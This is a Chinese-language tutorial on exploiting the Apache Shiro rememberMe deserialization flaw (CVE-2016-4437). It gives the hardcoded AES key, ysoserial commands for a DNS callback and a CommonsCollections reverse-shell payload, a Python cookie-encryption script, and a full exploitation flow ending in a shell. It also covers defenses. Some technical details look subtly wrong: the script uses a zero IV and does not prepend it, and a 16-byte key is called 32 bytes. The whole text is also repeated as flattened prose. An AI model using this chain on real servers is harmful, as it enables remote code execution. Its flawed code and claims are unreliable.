Shiro反序列化漏洞原理详解及复现
字数 1425 2025-08-11 00:55:05

Apache Shiro反序列化漏洞原理与复现指南

1. 漏洞概述

Apache Shiro是一个Java安全框架,提供身份验证、授权、加密和会话管理功能。其反序列化漏洞(CVE-2016-4437)是一个高危漏洞,攻击者可以利用该漏洞在目标系统上执行任意代码。

受影响版本

  • Shiro 1.2.5及以下版本(默认密钥硬编码)
  • Shiro 1.4.2以下版本(密钥不再硬编码但仍使用CBC模式)

2. 漏洞原理

2.1 漏洞成因

Shiro的RememberMe功能存在以下问题链:

  1. Cookie处理流程

    • 检索rememberMe字段
    • Base64解码
    • AES解密(使用硬编码密钥)
    • 反序列化解密后的内容
  2. 关键问题

    • 默认使用硬编码加密密钥(kPH+bIxk5D2deZiIxcaaaA==
    • 使用不安全的AES-CBC加密模式
    • 对反序列化内容未做安全校验

2.2 漏洞利用条件

  1. 目标系统使用Shiro框架
  2. 开启了RememberMe功能
  3. 使用默认或可预测的加密密钥

3. 环境搭建

使用vulhub提供的Shiro环境:

# 启动环境
docker-compose up -d

# 访问测试
http://localhost:8080

4. 漏洞检测

4.1 初步判断

  1. 在登录页面勾选"Remember me"
  2. 使用Burp Suite抓包
  3. 观察响应头:
    • 存在rememberMe=deleteMe:未开启RememberMe
    • 存在rememberMe=base64编码值:可能开启RememberMe

4.2 使用URLDNS链验证

URLDNS链是验证反序列化漏洞的安全方式,不会执行代码但会触发DNS查询:

  1. 生成payload:
java -jar ysoserial.jar URLDNS 'http://xxx.dnslog.cn' > payload.txt
  1. 加密编码payload(需编写脚本,见下文)

  2. 发送请求:

    • 删除JSESSIONID
    • 设置rememberMe为加密后的payload
  3. 检查DNSLog是否有记录

5. 漏洞利用

5.1 利用步骤

  1. 生成恶意序列化对象
    使用ysoserial生成CommonsCollections链:

    java -jar ysoserial.jar CommonsCollections6 "反弹shell命令" > payload.bin
    
  2. 加密payload

    • AES加密(CBC模式,PKCS5Padding)
    • 使用默认密钥kPH+bIxk5D2deZiIxcaaaA==
    • Base64编码
  3. 发送payload

    GET / HTTP/1.1
    Host: target.com
    Cookie: rememberMe=[加密后的payload]
    

5.2 加密脚本示例(Python)

import base64
from Crypto.Cipher import AES

def encrypt(payload):
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = b'\x00'*16
    cipher = AES.new(key, AES.MODE_CBC, iv)
    pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode()
    encrypted = cipher.encrypt(pad(payload))
    return base64.b64encode(encrypted).decode()

6. 其他相关漏洞

6.1 Shiro-721 (CVE-2019-12422)

  • 影响版本:1.4.2以下
  • 特点:密钥不再硬编码但仍使用CBC模式
  • 利用方式:Padding Oracle攻击获取密钥

6.2 Shiro 1.4.2+版本

  • 加密方式改为GCM模式
  • 默认更安全,但仍需注意密钥管理

7. 防御措施

  1. 升级Shiro版本

    • 升级到1.4.2或更高版本
  2. 配置修改

    // 自定义加密密钥(32字节)
    securityManager.setRememberMeManager(new CookieRememberMeManager() {
        {
            setCipherKey(Base64.decode("yourRandomBase64Encoded32ByteKey=="));
        }
    });
    
  3. 其他措施

    • 限制rememberMe字段长度
    • 禁用不必要的RememberMe功能
    • 使用JCE无限制强度加密策略

8. 参考工具

  1. ysoserial:生成反序列化payload
  2. ShiroExploit:自动化利用工具
  3. Burp Suite:用于拦截和修改请求
  4. DNSLog:用于漏洞验证

附录:完整利用流程

  1. 识别目标使用Shiro框架
  2. 使用URLDNS链验证漏洞存在
  3. 生成CommonsCollections反弹shell payload
  4. 加密编码payload
  5. 通过rememberMe cookie发送payload
  6. 获取反弹shell权限

注意:本教程仅用于安全研究和授权测试,未经授权的攻击是违法行为。

Apache Shiro反序列化漏洞原理与复现指南 1. 漏洞概述 Apache Shiro是一个Java安全框架,提供身份验证、授权、加密和会话管理功能。其反序列化漏洞(CVE-2016-4437)是一个高危漏洞,攻击者可以利用该漏洞在目标系统上执行任意代码。 受影响版本 Shiro 1.2.5及以下版本(默认密钥硬编码) Shiro 1.4.2以下版本(密钥不再硬编码但仍使用CBC模式) 2. 漏洞原理 2.1 漏洞成因 Shiro的RememberMe功能存在以下问题链: Cookie处理流程 : 检索rememberMe字段 Base64解码 AES解密(使用硬编码密钥) 反序列化解密后的内容 关键问题 : 默认使用硬编码加密密钥( kPH+bIxk5D2deZiIxcaaaA== ) 使用不安全的AES-CBC加密模式 对反序列化内容未做安全校验 2.2 漏洞利用条件 目标系统使用Shiro框架 开启了RememberMe功能 使用默认或可预测的加密密钥 3. 环境搭建 使用vulhub提供的Shiro环境: 4. 漏洞检测 4.1 初步判断 在登录页面勾选"Remember me" 使用Burp Suite抓包 观察响应头: 存在 rememberMe=deleteMe :未开启RememberMe 存在 rememberMe=base64编码值 :可能开启RememberMe 4.2 使用URLDNS链验证 URLDNS链是验证反序列化漏洞的安全方式,不会执行代码但会触发DNS查询: 生成payload: 加密编码payload(需编写脚本,见下文) 发送请求: 删除JSESSIONID 设置rememberMe为加密后的payload 检查DNSLog是否有记录 5. 漏洞利用 5.1 利用步骤 生成恶意序列化对象 : 使用ysoserial生成CommonsCollections链: 加密payload : AES加密(CBC模式,PKCS5Padding) 使用默认密钥 kPH+bIxk5D2deZiIxcaaaA== Base64编码 发送payload : 5.2 加密脚本示例(Python) 6. 其他相关漏洞 6.1 Shiro-721 (CVE-2019-12422) 影响版本:1.4.2以下 特点:密钥不再硬编码但仍使用CBC模式 利用方式:Padding Oracle攻击获取密钥 6.2 Shiro 1.4.2+版本 加密方式改为GCM模式 默认更安全,但仍需注意密钥管理 7. 防御措施 升级Shiro版本 : 升级到1.4.2或更高版本 配置修改 : 其他措施 : 限制rememberMe字段长度 禁用不必要的RememberMe功能 使用JCE无限制强度加密策略 8. 参考工具 ysoserial :生成反序列化payload ShiroExploit :自动化利用工具 Burp Suite :用于拦截和修改请求 DNSLog :用于漏洞验证 附录:完整利用流程 识别目标使用Shiro框架 使用URLDNS链验证漏洞存在 生成CommonsCollections反弹shell payload 加密编码payload 通过rememberMe cookie发送payload 获取反弹shell权限 注意:本教程仅用于安全研究和授权测试,未经授权的攻击是违法行为。